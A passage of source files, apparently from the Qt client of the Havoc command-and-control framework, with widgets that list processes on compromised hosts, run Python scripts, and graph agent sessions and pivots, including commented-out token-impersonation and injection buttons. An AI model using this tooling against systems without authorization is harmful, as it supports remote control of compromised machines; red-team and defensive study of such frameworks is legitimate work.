\"QTreeView::branch:has-children:!has-siblings:closed,\\n\"\n                               \"QTreeView::branch:closed:has-children:has-siblings {\\n\"\n                               \"        border-image: none;\\n\"\n                               \"        image: url(:/treewidget/branch-closed);\\n\"\n                               \"}\\n\"\n                               \"\\n\"\n                               \"QTreeView::branch:open:has-children:!has-siblings,\\n\"\n                               \"QTreeView::branch:open:has-children:has-siblings  {\\n\"\n                               \"        border-image: none;\\n\"\n                               \"        image: url(:/treewidget/branch-open);\\n\"\n                               \"}\"\n                               \"QMenu {\\n\"\n                               \"    background-color: #282a36;\\n\"\n                               \"    color: #f8f8f2;\\n\"\n                               \"    border: 1px solid #44475a;\\n\"\n                               \"}\\n\"\n                               \"\\n\"\n                               \"QMenu::separator {\\n\"\n                               \"    background: #44475a;\\n\"\n                               \"}\\n\"\n                               \"\\n\"\n                               \"QMenu::item:selected {\\n\"\n                               \"    background: #44475a;\\n\"\n                               \"}\\n\"\n                               \"\\n\"\n                               \"QAction {\\n\"\n                               \"    background-color: #282a36;\\n\"\n                               \"    color: #f8f8f2;\\n\"\n                               \"}\");\n\n    splitter->addWidget(ProcessTree);\n\n    ProcessTable = new QTableWidget(splitter);\n\n    if (ProcessTable->columnCount() < 6)\n        ProcessTable->setColumnCount(6);\n\n    ProcessTable->setHorizontalHeaderItem(0, new QTableWidgetItem());\n    ProcessTable->setHorizontalHeaderItem(1, new QTableWidgetItem());\n    ProcessTable->setHorizontalHeaderItem(2, new QTableWidgetItem());\n    ProcessTable->setHorizontalHeaderItem(3, new QTableWidgetItem());\n    ProcessTable->setHorizontalHeaderItem(4, new QTableWidgetItem());\n    ProcessTable->setHorizontalHeaderItem(5, new QTableWidgetItem());\n\n    ProcessTable->setObjectName(QString::fromUtf8(\"ProcessTable\"));\n\n    QSizePolicy sizePolicy(QSizePolicy::Expanding, QSizePolicy::Expanding);\n    sizePolicy.setHorizontalStretch(100);\n    sizePolicy.setVerticalStretch(0);\n    sizePolicy.setHeightForWidth(ProcessTable->sizePolicy().hasHeightForWidth());\n    ProcessTable->setSizePolicy(sizePolicy);\n    splitter->addWidget(ProcessTable);\n\n    ProcessTable->horizontalHeader()->setStretchLastSection(true);\n    ProcessTable->setShowGrid(false);\n    ProcessTable->setSortingEnabled(false);\n    ProcessTable->setWordWrap(true);\n    ProcessTable->setCornerButtonEnabled(true);\n    ProcessTable->horizontalHeader()->setVisible(true);\n    ProcessTable->horizontalHeader()->setCascadingSectionResizes(false);\n    ProcessTable->horizontalHeader()->setHighlightSections(false);\n    ProcessTable->verticalHeader()->setVisible(false);\n    ProcessTable->verticalHeader()->setDefaultSectionSize(12);\n    ProcessTable->setSelectionBehavior( QAbstractItemView::SelectRows );\n    ProcessTable->setSelectionMode( QAbstractItemView::SingleSelection );\n    ProcessTable->setContextMenuPolicy( Qt::CustomContextMenu );\n\n    gridLayout->addWidget(splitter, 0, 0, 1, 6);\n\n    horizontalSpacer = new QSpacerItem(40, 20, QSizePolicy::Expanding, QSizePolicy::Minimum);\n\n    gridLayout->addItem(horizontalSpacer, 1, 0, 1, 1);\n\n    pushButton_Refresh = new QPushButton(this->ProcessListWidget);\n    pushButton_Refresh->setObjectName(QString::fromUtf8(\"pushButton_Refresh\"));\n\n    gridLayout->addWidget(pushButton_Refresh, 1, 1, 1, 1);\n\n    /*pushButton_Kill = new QPushButton(this->ProcessListWidget);\n    pushButton_Kill->setObjectName(QString::fromUtf8(\"pushButton_Kill\"));\n\n    gridLayout->addWidget(pushButton_Kill, 1, 2, 1, 1);\n\n    pushButton_Steal_Token = new QPushButton(this->ProcessListWidget);\n    pushButton_Steal_Token->setObjectName(QString::fromUtf8(\"pushButton_Steal_Token\"));\n\n    gridLayout->addWidget(pushButton_Steal_Token, 1, 3, 1, 1);\n\n    // pushButton_Inject = new QPushButton(this->ProcessListWidget);\n    // pushButton_Inject->setObjectName(QString::fromUtf8(\"pushButton_Inject\"));\n\n    // gridLayout->addWidget(pushButton_Inject, 1, 4, 1, 1);*/\n\n    horizontalSpacer_2 = new QSpacerItem(40, 20, QSizePolicy::Expanding, QSizePolicy::Minimum);\n\n    gridLayout->addItem(horizontalSpacer_2, 1, 2, 1, 1);\n\n\n    actionCopyProcessID = new QAction(\"Copy PID\");\n    // actionSetAsParentProcess = new QAction(\"Set as Parent Process\");\n\n    ProcessListMenu = new QMenu( this );\n    ProcessListMenu->setStyleSheet( MenuStyle );\n\n    ProcessListMenu->addAction( actionCopyProcessID );\n    // ProcessListMenu->addAction( actionSetAsParentProcess );\n\n    ProcessListWidget->setWindowTitle(QCoreApplication::translate(\"Process List\", \"Process List\", nullptr));\n\n    ProcessTree->headerItem()->setText(0, QCoreApplication::translate(\"Process List\", \"Process Tree\", nullptr));\n    ProcessTree->setSortingEnabled(false);\n\n    ProcessTable->horizontalHeaderItem(0)->setText(QCoreApplication::translate(\"Process List\", \"Name\", nullptr));\n    ProcessTable->horizontalHeaderItem(1)->setText(QCoreApplication::translate(\"Process List\", \"PID\", nullptr));\n    ProcessTable->horizontalHeaderItem(2)->setText(QCoreApplication::translate(\"Process List\", \"PPID\", nullptr));\n    ProcessTable->horizontalHeaderItem(3)->setText(QCoreApplication::translate(\"Process List\", \"Session\", nullptr));\n    ProcessTable->horizontalHeaderItem(4)->setText(QCoreApplication::translate(\"Process List\", \"Arch\", nullptr));\n    ProcessTable->horizontalHeaderItem(5)->setText(QCoreApplication::translate(\"Process List\", \"User\", nullptr));\n\n    ProcessTable->horizontalHeader()->resizeSection(0, 200);\n    ProcessTable->horizontalHeader()->resizeSection(1, 70);\n    ProcessTable->horizontalHeader()->resizeSection(2, 70);\n    ProcessTable->horizontalHeader()->resizeSection(3, 70);\n    ProcessTable->horizontalHeader()->resizeSection(4, 70);\n\n    pushButton_Refresh->setText(QCoreApplication::translate(\"Process List\", \"Refresh\", nullptr));\n    // pushButton_Kill->setText(QCoreApplication::translate(\"Process List\", \"Kill\", nullptr));\n    // pushButton_Steal_Token->setText(QCoreApplication::translate(\"Process List\", \"Impersonate Token\", nullptr));\n    // pushButton_Inject->setText(QCoreApplication::translate(\"Process List\", \"Inject\", nullptr));\n\n    // Context Menu\n    connect( ProcessTable,   &QTableWidget::customContextMenuRequested, this,  &ProcessList::handleTableListMenuContext );\n    connect( ProcessTree,    &QTreeWidget::customContextMenuRequested, this,  &ProcessList::handleTreeListMenuContext );\n\n    // Context Menu Actions\n    connect( actionCopyProcessID,      &QAction::triggered, this, &ProcessList::onActionCopyPID );\n    // connect( actionSetAsParentProcess, &QAction::triggered, this, &ProcessList::onActionSetParentProcess );\n\n    // Buttons\n    connect( pushButton_Refresh, &QPushButton::clicked, this, &ProcessList::onButton_Refresh );\n\n    // List Widget actions\n    connect( ProcessTable, &QTableWidget::clicked, this, &ProcessList::onTableChange );\n    connect( ProcessTree, &QTreeWidget::clicked, this, &ProcessList::onTreeChange );\n}\n\nvoid HavocNamespace::UserInterface::Widgets::ProcessList::UpdateProcessListJson( QJsonDocument ProcessListData )\n{\n    ProcessTable->setRowCount( 0 );\n    ProcessTree->clear();\n\n    if ( ProcessListData.isArray() )\n    {\n        auto ProcessListArray = ProcessListData.array();\n\n        for ( QJsonValueRef ProcessInfo : ProcessListArray )\n        {\n            auto Process        = ProcessInfo.toObject();\n            auto ProcessInfoMap = std::map<QString, QString>() ;\n            auto ProcessIsWow   = Process[ \"IsWow\" ].toInt();\n\n            ProcessInfoMap.insert( { \"Name\",    Process[ \"Name\" ].toString() } );\n            ProcessInfoMap.insert( { \"PID\",     Process[ \"PID\" ].toString() } );\n            ProcessInfoMap.insert( { \"PPID\",    Process[ \"PPID\" ].toString() } );\n            ProcessInfoMap.insert( { \"Session\", Process[ \"Session\" ].toString() } );\n            ProcessInfoMap.insert( { \"Arch\",    ProcessIsWow ? \"x86\" : \"x64\" } );\n            ProcessInfoMap.insert( { \"User\",    Process[ \"User\" ].toString() } );\n\n            NewTableProcess( ProcessInfoMap );\n            NewTreeProcess( ProcessInfoMap );\n        }\n    }\n\n    ProcessTree->expandAll();\n}\n\nvoid HavocNamespace::UserInterface::Widgets::ProcessList::NewTableProcess(std::map<QString, QString> ProcessInfo) {\n\n    if ( this->ProcessTable->rowCount() < 1 )\n        this->ProcessTable->setRowCount( 1 );\n    else\n        this->ProcessTable->setRowCount( this->ProcessTable->rowCount() + 1 );\n\n    this->ProcessTable->setSortingEnabled( false );\n\n    auto Name = new QTableWidgetItem();\n    Name->setText(ProcessInfo[\"Name\"]);\n    Name->setFlags(Name->flags() ^ Qt::ItemIsEditable);\n    if (this->Session.PID.compare(ProcessInfo[\"PID\"]) == 0) {\n        Name->setForeground(QColor(255, 85, 85));\n    }\n    this->ProcessTable->setItem(this->ProcessTable->rowCount()-1, 0, Name);\n\n    auto PID = new QTableWidgetItem();\n    PID->setText(ProcessInfo[\"PID\"]);\n    PID->setTextAlignment( Qt::AlignCenter );\n    PID->setFlags(PID->flags() ^ Qt::ItemIsEditable);\n    this->ProcessTable->setItem(this->ProcessTable->rowCount()-1, 1, PID);\n\n    auto PPID = new QTableWidgetItem();\n    PPID->setText(ProcessInfo[\"PPID\"]);\n    PPID->setTextAlignment( Qt::AlignCenter );\n    PPID->setFlags(PPID->flags() ^ Qt::ItemIsEditable);\n    this->ProcessTable->setItem(this->ProcessTable->rowCount()-1, 2, PPID);\n\n    // Session and Arch are swapped...\n    auto SessionID = new QTableWidgetItem();\n    SessionID->setText(ProcessInfo[\"Session\"]);\n    SessionID->setTextAlignment( Qt::AlignCenter );\n    SessionID->setFlags(SessionID->flags() ^ Qt::ItemIsEditable);\n    this->ProcessTable->setItem(this->ProcessTable->rowCount()-1, 3, SessionID);\n\n    auto Arch = new QTableWidgetItem();\n    Arch->setText(ProcessInfo[\"Arch\"]);\n    Arch->setTextAlignment( Qt::AlignCenter );\n    Arch->setFlags(Arch->flags() ^ Qt::ItemIsEditable);\n    this->ProcessTable->setItem(this->ProcessTable->rowCount()-1, 4, Arch);\n\n    auto User = new QTableWidgetItem();\n    User->setText(ProcessInfo[\"User\"]);\n    User->setFlags(User->flags() ^ Qt::ItemIsEditable);\n    this->ProcessTable->setItem(this->ProcessTable->rowCount()-1, 5, User);\n}\n\nvoid HavocNamespace::UserInterface::Widgets::ProcessList::NewTreeProcess( std::map<QString,QString> ProcessInfo )\n{\n    auto ProcessItem = new QTreeWidgetItem;\n    auto it          = QTreeWidgetItemIterator( ProcessTree );\n\n    ProcessItem->setText( 0, ProcessInfo[ \"PID\" ] + \": \" + ProcessInfo[ \"Name\" ] );\n\n    while ( *it )\n    {\n        if ( ( *it )->text( 0 ).split( \": \" )[ 0 ].compare( ProcessInfo[ \"PPID\" ] ) == 0 )\n        {\n            ( *it )->addChild( ProcessItem );\n            return;\n        }\n        ++it;\n    }\n\n    ProcessTree->addTopLevelItem( ProcessItem );\n}\n\nvoid HavocNamespace::UserInterface::Widgets::ProcessList::onButton_Refresh() const\n{\n    for ( auto & Session : HavocX::Teamserver.Sessions )\n    {\n        if ( Session.Name.compare( Session.Name ) == 0 )\n        {\n            if ( Session.ProcessList )\n            {\n                Session.InteractedWidget->DemonCommands->Execute.ProcList( Util::gen_random( 8 ).c_str(), true );\n                return;\n            }\n        }\n    }\n}\n\nvoid HavocNamespace::UserInterface::Widgets::ProcessList::onTableChange()\n{\n    auto PID = ProcessTable->item( ProcessTable->currentRow(), 1 )->text();\n    auto it  = QTreeWidgetItemIterator ( ProcessTree );\n\n    while ( *it )\n    {\n        if ( ( *it )->text( 0 ).split( \": \" )[ 0 ].compare( PID ) == 0 )\n        {\n            ProcessTree->setCurrentItem( *it );\n            return;\n        }\n        ++it;\n    }\n}\n\nvoid HavocNamespace::UserInterface::Widgets::ProcessList::onTreeChange()\n{\n    auto PID = ProcessTree->currentItem()->text( ProcessTree->currentColumn() ).split( \":\" )[ 0 ];\n\n    for ( u32 i = 0; i < ProcessTable->rowCount(); i++ )\n    {\n        if ( ProcessTable->item( i, 1 )->text().compare( PID ) == 0 )\n        {\n            ProcessTable->setCurrentItem( ProcessTable->item( i, 1 ) );\n        }\n    }\n}\n\nvoid HavocNamespace::UserInterface::Widgets::ProcessList::handleTableListMenuContext( const QPoint &pos )\n{\n    if ( ! ProcessTable->itemAt( pos ) )\n        return;\n\n    ProcessListMenu->popup( ProcessTable->horizontalHeader()->viewport()->mapToGlobal( pos ) );\n}\n\nvoid HavocNamespace::UserInterface::Widgets::ProcessList::handleTreeListMenuContext( const QPoint &pos )\n{\n    if ( ! ProcessTable->itemAt( pos ) )\n        return;\n\n    ProcessListMenu->popup( ProcessTree->viewport()->mapToGlobal( pos ) );\n}\n\nvoid HavocNamespace::UserInterface::Widgets::ProcessList::onActionCopyPID()\n{\n    spdlog::info(\"PID saved to clipboard\");\n    auto PID = this->ProcessTree->currentItem()->text(this->ProcessTree->currentColumn()).split(\":\")[0];\n\n    QApplication::clipboard()->setText( PID );\n}\n\nvoid HavocNamespace::UserInterface::Widgets::ProcessList::onActionSetParentProcess()\n{\n\n}"
  },
  {
    "path": "client/src/UserInterface/Widgets/PythonScript.cc",
    "content": "#include <UserInterface/Widgets/PythonScript.hpp>\n#include <Util/ColorText.h>\n#include <QThread>\n#include <thread>\n#include <QTime>\n#include <Havoc/PythonApi/PythonApi.h>\n\n\nvoid HavocNamespace::UserInterface::Widgets::PythonScriptInterpreter::setupUi(QWidget *WindowWidget)\n{\n    PythonScriptInterpreterWidget = WindowWidget;\n\n    if (PythonScriptInterpreterWidget->objectName().isEmpty())\n        PythonScriptInterpreterWidget->setObjectName(QString::fromUtf8(\"PythonScriptWidget\"));\n\n    PythonScriptInterpreterWidget->setWindowTitle(QCoreApplication::translate(\"PythonScriptWidget\", \"Script Interpreter\", nullptr));\n\n    gridLayout = new QGridLayout(PythonScriptInterpreterWidget);\n    gridLayout->setObjectName(QString::fromUtf8(\"gridLayout\"));\n    gridLayout->setContentsMargins(4, 4, 4, 4);\n    gridLayout->setVerticalSpacing(4);\n\n    PythonScriptInput = new QLineEdit(PythonScriptInterpreterWidget);\n    PythonScriptInput->setObjectName(QString::fromUtf8(\"PythonScriptInput\"));\n\n    gridLayout->addWidget(PythonScriptInput, 1, 0, 1, 1);\n\n    PythonScriptOutput = new QPlainTextEdit(PythonScriptInterpreterWidget);\n    PythonScriptOutput->setObjectName(QString::fromUtf8(\"PythonScriptOutput\"));\n    PythonScriptOutput->setReadOnly(true);\n    PythonScriptOutput->setLineWrapMode(QPlainTextEdit::LineWrapMode::NoWrap);\n    PythonScriptOutput->setStyleSheet(\n            \"background-color: \"+Util::ColorText::Colors::Hex::Background+\";\"\n            + \"color: \"+Util::ColorText::Colors::Hex::Foreground+\";\"\n    );\n\n    gridLayout->addWidget(PythonScriptOutput, 0, 0, 1, 1);\n\n    connect( PythonScriptInput, &QLineEdit::returnPressed, this, &PythonScriptInterpreter::AppendFromInput );\n\n    PythonScriptOutput->appendHtml( ( \"Python \" + QString( Py_GetVersion() ) ) );\n    PythonScriptOutput->appendHtml( ( R\"(Type \"help\", \"copyright\", \"credits\" or \"license\" for more information.)\" ) );\n    PythonScriptOutput->appendPlainText(\"\");\n\n    QMetaObject::connectSlotsByName( PythonScriptInterpreterWidget );\n}\n\nvoid HavocNamespace::UserInterface::Widgets::PythonScriptInterpreter::RunCode( QString code )\n{\n    std::string buffer;\n    emb::stdout_write_type write = [&] (std::string s) { buffer += s; };\n    emb::set_stdout(write);\n\n    if ( PyRun_SimpleStringFlags( code.toStdString().c_str(), NULL ) == -1 )\n    {\n        spdlog::error( \"Failed to run script\" );\n        return;\n    }\n\n    if ( buffer.size() > 0 )\n        this->PythonScriptOutput->appendPlainText( buffer.c_str() );\n}\n\nvoid HavocNamespace::UserInterface::Widgets::PythonScriptInterpreter::AppendFromInput()\n{\n    QString Input = PythonScriptInput->text();\n\n    if ( ! Input.isEmpty() )\n    {\n        PythonScriptOutput->appendHtml( Util::ColorText::Red( \">>>\" ) + \" \" + Input.toHtmlEscaped() );\n        PythonScriptInput->clear();\n        RunCode( Input );\n    }\n}\n\nvoid HavocNamespace::UserInterface::Widgets::PythonScriptInterpreter::AppendOutput( QString output )\n{\n    PythonScriptOutput->appendPlainText( output );\n}"
  },
  {
    "path": "client/src/UserInterface/Widgets/ScriptManager.cc",
    "content": "#include <UserInterface/Widgets/ScriptManager.h>\n#include <UserInterface/Widgets/TeamserverTabSession.h>\n\n#include <Havoc/DBManager/DBManager.hpp>\n\n#include <QFile>\n#include <QHeaderView>\n#include <QFileDialog>\n#include <QTableWidgetItem>\n\nusing namespace HavocNamespace::UserInterface::Widgets;\n\nvoid ScriptManager::SetupUi( QWidget *Form )\n{\n    QString MenuStyle = \"QMenu {\\n\"\n                        \"    background-color: #282a36;\\n\"\n                        \"    color: #f8f8f2;\\n\"\n                        \"    border: 1px solid #44475a;\\n\"\n                        \"}\\n\"\n                        \"\\n\"\n                        \"QMenu::separator {\\n\"\n                        \"    background: #44475a;\\n\"\n                        \"}\\n\"\n                        \"\\n\"\n                        \"QMenu::item:selected {\\n\"\n                        \"    background: #44475a;\\n\"\n                        \"}\\n\"\n                        \"\\n\"\n                        \"QAction {\\n\"\n                        \"    background-color: #282a36;\\n\"\n                        \"    color: #f8f8f2;\\n\"\n                        \"}\";\n\n\n    this->ScriptManagerWidget = Form;\n\n    if ( Form->objectName().isEmpty() )\n        Form->setObjectName( QString::fromUtf8(\"Form\") );\n\n    Form->resize( 1417, 626 );\n\n    gridLayout = new QGridLayout( Form );\n    gridLayout->setObjectName( QString::fromUtf8( \"gridLayout\" ) );\n\n    buttonLoadScript = new QPushButton( Form );\n    buttonLoadScript->setObjectName( QString::fromUtf8( \"buttonLoadScript\" ) );\n    gridLayout->addWidget( buttonLoadScript, 2, 1, 1, 1 );\n\n    horizontalSpacer = new QSpacerItem(40, 20, QSizePolicy::Expanding, QSizePolicy::Minimum);\n    gridLayout->addItem( horizontalSpacer, 2, 0, 1, 1 );\n\n    horizontalSpacer_2 = new QSpacerItem( 40, 20, QSizePolicy::Expanding, QSizePolicy::Minimum );\n    gridLayout->addItem( horizontalSpacer_2, 2, 2, 1, 1 );\n\n    tableLoadedScripts = new QTableWidget( Form );\n\n    tableLoadedScripts->setObjectName( QString::fromUtf8( \"tableLoadedScripts\" ) );\n    tableLoadedScripts->setEnabled( true );\n    tableLoadedScripts->setShowGrid( false );\n    tableLoadedScripts->setSortingEnabled( false );\n    tableLoadedScripts->setWordWrap( true );\n    tableLoadedScripts->setCornerButtonEnabled( true );\n    tableLoadedScripts->horizontalHeader()->setVisible( true );\n    tableLoadedScripts->setSelectionBehavior( QAbstractItemView::SelectRows );\n    tableLoadedScripts->setContextMenuPolicy( Qt::CustomContextMenu );\n    tableLoadedScripts->horizontalHeader()->setSectionResizeMode( QHeaderView::Stretch );\n    tableLoadedScripts->verticalHeader()->setVisible( false );\n    tableLoadedScripts->horizontalHeader()->setStretchLastSection( true );\n    tableLoadedScripts->verticalHeader()->setDefaultSectionSize( 12 );\n    tableLoadedScripts->setFocusPolicy( Qt::NoFocus );\n\n    actionReload = new QAction( \"Reload\" );\n    actionRemove = new QAction( \"Remove\" );\n\n    menuScripts = new QMenu( this );\n    menuScripts->setStyleSheet( MenuStyle );\n    menuScripts->addAction( actionReload );\n    menuScripts->addAction( actionRemove );\n\n    if ( tableLoadedScripts->columnCount() < 1 )\n        tableLoadedScripts->setColumnCount( 1 );\n\n    tableLoadedScripts->setHorizontalHeaderItem(0, new QTableWidgetItem());\n\n    gridLayout->addWidget( tableLoadedScripts, 0, 0, 1, 3 );\n    gridLayout->setMargin( 0 );\n\n    QObject::connect( buttonLoadScript, &QPushButton::clicked, this, &ScriptManager::b_LoadScript );\n\n    QObject::connect( tableLoadedScripts, &QTableWidget::customContextMenuRequested, this, &ScriptManager::menu_ScriptMenu );\n    QObject::connect( actionReload, &QAction::triggered, this, &ScriptManager::ReloadScript );\n    QObject::connect( actionRemove, &QAction::triggered, this, &ScriptManager::RemoveScript );\n\n    RetranslateUi();\n\n    for ( auto& Script : HavocX::Teamserver.TabSession->dbManager->GetScripts() )\n    {\n        AddScriptTable( Script );\n    }\n\n    QMetaObject::connectSlotsByName(Form);\n} // setupUi\n\nvoid ScriptManager::RetranslateUi( )\n{\n    ScriptManagerWidget->setWindowTitle(QCoreApplication::translate(\"Form\", \"Script Manager\", nullptr));\n    buttonLoadScript->setText(QCoreApplication::translate(\"Form\", \"Load Script\", nullptr));\n    tableLoadedScripts->horizontalHeaderItem(0)->setText(QCoreApplication::translate(\"Form\", \"Path\", nullptr));\n}\n\nbool ScriptManager::AddScript( QString Path )\n{\n    auto Script = FileRead( Path );\n    auto path   = Path.toStdString();\n    int  Return = 0;\n\n    HavocX::Teamserver.LoadingScript = Path.toStdString();\n\n    if ( Script != nullptr ) {\n        if ( ! Script.isEmpty() ) {\n            Return = PyRun_SimpleStringFlags( Script.toStdString().c_str(), NULL );\n            if ( Return == -1 ) {\n                spdlog::error( \"Failed to run script: {}\", path );\n            } else {\n                return true;\n            }\n        }\n        else {\n            spdlog::error( \"Script path not found: {}\", path );\n        }\n    } else {\n        spdlog::error( \"Failed to load script: {}\", path );\n    }\n\n    HavocX::Teamserver.LoadingScript = \"\";\n\n    return false;\n}\n\nvoid ScriptManager::AddScriptTable( QString Path )\n{\n    if ( tableLoadedScripts->rowCount() < 1 )\n        tableLoadedScripts->setRowCount( 1 );\n    else\n        tableLoadedScripts->setRowCount( tableLoadedScripts->rowCount() + 1 );\n\n    tableLoadedScripts->setItem( tableLoadedScripts->rowCount() - 1, 0, new QTableWidgetItem( Path ) );\n\n    // add to database\n    if ( ! HavocX::Teamserver.TabSession->dbManager->CheckScript( Path ) )\n        HavocX::Teamserver.TabSession->dbManager->AddScript( Path );\n}\n\n\nvoid ScriptManager::b_LoadScript()\n{\n    auto FileDialog = QFileDialog();\n    auto Filename   = QUrl();\n    auto Style      = FileRead( \":/stylesheets/Dialogs/FileDialog\" ).toStdString();\n\n    Style.erase( std::remove( Style.begin(), Style.end(), '\\n'), Style.end() );\n\n    FileDialog.setStyleSheet( Style.c_str() );\n    FileDialog.setDirectory( QDir::homePath() );\n\n    if ( FileDialog.exec() == QFileDialog::Accepted )\n    {\n        Filename = FileDialog.selectedUrls().value( 0 ).toLocalFile();\n        if ( ! Filename.toString().isNull() )\n        {\n            if ( AddScript( Filename.toString() ) ) {\n                AddScriptTable( Filename.toString() );\n            } else {\n                auto messageBox = QMessageBox(  );\n                messageBox.setWindowTitle( \"Failed to import script\" );\n                messageBox.setText( \"The script \" + Filename.toString() + \" could not be imported due to an error.\" );\n                messageBox.setIcon( QMessageBox::Critical );\n                messageBox.setStyleSheet( FileRead( \":/stylesheets/MessageBox\" ) );\n                // messageBox.setMaximumSize( QSize( 500, 500 ) );\n                messageBox.exec();\n            }\n        }\n    }\n}\n\nvoid ScriptManager::menu_ScriptMenu( const QPoint &pos ) const\n{\n    auto DemonSelected = tableLoadedScripts->itemAt( pos );\n    if ( ! DemonSelected )\n        return;\n\n    menuScripts->popup( tableLoadedScripts->horizontalHeader()->viewport()->mapToGlobal( pos ) );\n}\n\nvoid ScriptManager::ReloadScript() const\n{\n    auto Path = tableLoadedScripts->item( tableLoadedScripts->currentRow(), 0 )->text();\n\n    // Just rerun the script\n    AddScript( Path );\n}\n\n// TODO: clear python interpreter and reload every script except the one that got removed\nvoid ScriptManager::RemoveScript() const\n{\n    auto Path = tableLoadedScripts->item( tableLoadedScripts->currentRow(), 0 )->text();\n\n    tableLoadedScripts->removeRow( tableLoadedScripts->currentRow() );\n\n    HavocX::Teamserver.TabSession->dbManager->RemoveScript( Path );\n}\n"
  },
  {
    "path": "client/src/UserInterface/Widgets/SessionGraph.cc",
    "content": "#include <global.hpp>\n\n#include <Havoc/Havoc.hpp>\n\n#include <UserInterface/Widgets/SessionGraph.hpp>\n#include <UserInterface/Widgets/DemonInteracted.h>\n#include <UserInterface/Widgets/TeamserverTabSession.h>\n#include <UserInterface/Widgets/SessionTable.hpp>\n#include <UserInterface/Widgets/ProcessList.hpp>\n#include <UserInterface/Widgets/FileBrowser.hpp>\n\n#include <Util/ColorText.h>\n\n#include <Havoc/Packager.hpp>\n#include <Havoc/Connector.hpp>\n\n#include <math.h>\n\n#include <QKeyEvent>\n#include <QRandomGenerator>\n#include <QStyle>\n#include <QStyleOptionGraphicsItem>\n#include <QGraphicsSceneContextMenuEvent>\n#include <QPixmap>\n\nusing namespace HavocNamespace::Util;\n\nGraphWidget::GraphWidget( QWidget* parent ) : QGraphicsView( parent )\n{\n    GraphScene = new QGraphicsScene( this );\n    GraphScene->setItemIndexMethod( QGraphicsScene::BspTreeIndex );\n\n    setScene( GraphScene );\n    setCacheMode( CacheBackground );\n    setViewportUpdateMode( BoundingRectViewportUpdate );\n    setRenderHint( QPainter::Antialiasing );\n    setTransformationAnchor( AnchorUnderMouse );\n    scaleView( qreal( 1 ) );\n\n    MainNode = new Member {\n        .Name = \"MainNode\",\n        .Node = new Node( NodeItemType::MainNode, QString(), this ),\n    };\n\n    MainNode->Node->Session = {};\n\n    GraphScene->addItem( MainNode->Node );\n\n    MainNode->Node->setPos( 100, 50 );\n\n    NodeList.push_back( MainNode );\n}\n\nNode* GraphWidget::GraphNodeAdd( SessionItem Session )\n{\n    auto item = new Node(\n        NodeItemType::Session,\n        Session.Name + \" \" + Session.Process + \"\\\\\" + Session.PID +\n        \" [\" + Session.Computer + \"\\\\\" + Session.User + \"]\",\n        this\n    );\n\n    item->NodeEdge = new Edge( MainNode->Node, item, QColor( HavocNamespace::Util::ColorText::Colors::Hex::Green ) );\n    item->Parent   = MainNode->Node;\n    item->NodeID   = Session.Name;\n    item->Session  = Session;\n\n    auto member = new Member {\n        .Name = Session.Name,\n        .Node = item,\n    };\n\n    GraphScene->addItem( item );\n    GraphScene->addItem( item->NodeEdge );\n\n    MainNode->Node->appendChild( item );\n    NodeList.push_back( member );\n\n    layout( MainNode->Node );\n\n    return item;\n}\n\nvoid GraphWidget::GraphNodeRemove( SessionItem Session )\n{\n    for ( int i = 0; i < NodeList.size(); i++ )\n    {\n        if ( Session.Name.compare( NodeList[ i ]->Name ) == 0 )\n        {\n            GraphScene->removeItem( NodeList[ i ]->Node->NodeEdge );\n            GraphScene->removeItem( NodeList[ i ]->Node );\n\n            NodeList.erase( NodeList.begin() + i );\n            MainNode->Node->removeChild( NodeList[ i ]->Node );\n\n            /* delete NodeList[ i ]->Node->NodeEdge;\n            delete NodeList[ i ]->Node;\n            delete NodeList[ i ]; */\n\n            return;\n        }\n    }\n}\n\nvoid GraphWidget::GraphPivotNodeAdd( QString AgentID, SessionItem Session )\n{\n    auto item = new Node(\n        NodeItemType::Session,\n        Session.Name + \" \" + Session.Process + \"\\\\\" + Session.PID +\n        \" [\" + Session.Computer + \"\\\\\" + Session.User + \"]\",\n        this\n    );\n\n    item->Session = Session;\n\n    GraphScene->addItem( item );\n\n    const auto items = scene()->items();\n\n    for ( QGraphicsItem* g_item : items )\n    {\n        if ( qgraphicsitem_cast<Node*>( g_item ) )\n        {\n            auto i = qgraphicsitem_cast<Node*>( g_item );\n            if ( i->NodeID.compare( AgentID ) == 0 )\n            {\n                item->NodeID   = Session.Name;\n                item->NodeEdge = new Edge( i, item, QColor( HavocNamespace::Util::ColorText::Colors::Hex::Purple ) );\n                item->Parent   = i;\n                \n                i->appendChild( item );\n\n                GraphScene->addItem( item->NodeEdge );\n\n                layout( MainNode->Node );\n                return;\n            }\n        }\n    }\n\n    auto agent_id = AgentID.toStdString();\n    auto session  = Session.Name.toStdString();\n\n    spdlog::error( \"Parent AgentID {} not found for {}\", agent_id, session );\n}\n\nvoid GraphWidget::GraphPivotNodeDisconnect( QString AgentID )\n{\n    const auto items = GraphScene->items();\n\n    for ( QGraphicsItem* g_item : items )\n    {\n        if ( qgraphicsitem_cast<Edge*>( g_item ) )\n        {\n            auto i = qgraphicsitem_cast<Edge*>( g_item );\n            if ( i->dest->NodeID.compare( AgentID ) == 0 )\n            {\n                i->dest->Disconnected = true;\n                i->Color( QColor( HavocNamespace::Util::ColorText::Colors::Hex::Red ) );\n\n                i->dest->update();\n                i->source->update();\n\n                return;\n            }\n        }\n    }\n}\n\nvoid GraphWidget::GraphPivotNodeReconnect( QString ParentAgentID, QString ChildAgentID )\n{\n    const auto items = GraphScene->items();\n\n    for ( QGraphicsItem* g_item : items )\n    {\n        if ( qgraphicsitem_cast<Edge*>( g_item ) )\n        {\n            auto i = qgraphicsitem_cast<Edge*>( g_item );\n            if ( i->dest->NodeID.compare( ChildAgentID ) == 0 )\n            {\n                GraphScene->addItem( new Edge( GraphNodeGet( ParentAgentID ), i->dest, QColor( HavocNamespace::Util::ColorText::Colors::Hex::Purple ) ) );\n                GraphScene->removeItem( i );\n\n                // TODO: somehow remove/free i (Edge*)\n                // i->source = GraphNodeGet( ParentAgentID );\n                // i->dest->Disconnected = false;\n                // i->Color( QColor( HavocNamespace::Util::ColorText::Colors::Hex::Purple ) );\n\n                // i->dest->update();\n                // i->source->update();\n\n                return;\n            }\n        }\n    }\n}\n\nvoid GraphWidget::itemMoved()\n{\n    if ( ! timerId )\n        timerId = startTimer( 1000 / 25 );\n}\n\nvoid GraphWidget::keyPressEvent( QKeyEvent* event )\n{\n    switch ( event->key( ) )\n    {\n        case Qt::Key_Plus:\n            zoomIn();\n            break;\n\n        case Qt::Key_Minus:\n            zoomOut();\n            break;\n\n        default:\n            QGraphicsView::keyPressEvent( event );\n    }\n}\n\nvoid GraphWidget::timerEvent( QTimerEvent* event )\n{\n    Q_UNUSED( event );\n\n    const auto  items       = scene()->items();\n    auto        nodes       = QVector<Node*>();\n    bool        itemsMoved  = false;\n\n    for ( QGraphicsItem* item : items 